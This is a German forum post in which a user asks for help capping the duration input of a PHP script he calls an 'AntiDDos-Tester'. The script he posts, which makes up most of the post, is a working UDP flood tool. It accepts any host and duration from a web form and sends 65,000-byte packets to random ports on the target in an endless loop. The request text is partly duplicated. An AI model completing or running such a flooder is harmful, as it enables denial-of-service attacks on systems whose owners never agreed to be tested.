Hallo ich will als kleines Projekt ein AntiDDos-Tester schreiben aber daher es "SUPER" User es gibt die eine Zahl wie 99999999 Eingeben sied der Traffic so aus: --------------------------------------------------------------------------------
Bandwidth:
946%
9.2 TB of 1000 GB Used / -8866164187.6 KB Free
-------------------------------------------------------------------------------
Desswegen will ich als Maximaler Input 50 "Sekunden" reinschreiben aber ich weiß nicht wie ;(
Kann mir bitte jemand den fertigen code senden oder mir den code sagt der hier im Code fehlt
DANKE GrossyTv
Code:
Bandwidth:
946%
9.2 TB of 1000 GB Used / -8866164187.6 KB Free
-------------------------------------------------------------------------------
Desswegen will ich als Maximaler Input 50 "Sekunden" reinschreiben aber ich weiß nicht wie ;(
Kann mir bitte jemand den fertigen code senden oder mir den code sagt der hier im Code fehlt
DANKE GrossyTv
Code:
Code:
<?php //UDP if(isset($_GET['host'])&&isset($_GET['time'])){ $packets = 0; ignore_user_abort(TRUE); set_time_limit(0); $exec_time = $_GET['time']; $time = time(); //print "Started: ".time('d-m-y h:i:s')."<br>"; $max_time = $time+$exec_time; $host = $_GET['host']; for($i=0;$i<65000;$i++){ $out .= 'X'; } while(1){ $packets++; if(time() > $max_time){ break; } $rand = rand(1,65000); $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "<center><br><br>Es wurden $packets (" . round(($packets*65)/1024, 2) . " MB) Parkete versendet ;". round($packets/$exec_time, 2) . " Parkete pro Sekunde wurden versendet! </center>\n"; echo '<center> <form action="'.$surl.'" method=GET> <input type="hidden" name="act" value="phptools"> Host/IP: <br><input type=text name=host><br> <br></br>Zeit (Sekunden): <br><input type=text name=time><br> <input type=submit value=Start></form></center>'; }else{ echo '<center><br><br> <form action=? method=GET> <input type="hidden" name="act" value="phptools"> <br></br>Host/IP: <br><input type=text name=host value=><br> Zeit (Sekunden): <br><input type=text name=time value=><br><br> <input type=submit value=Start></form></center>'; } ?>
Kommentar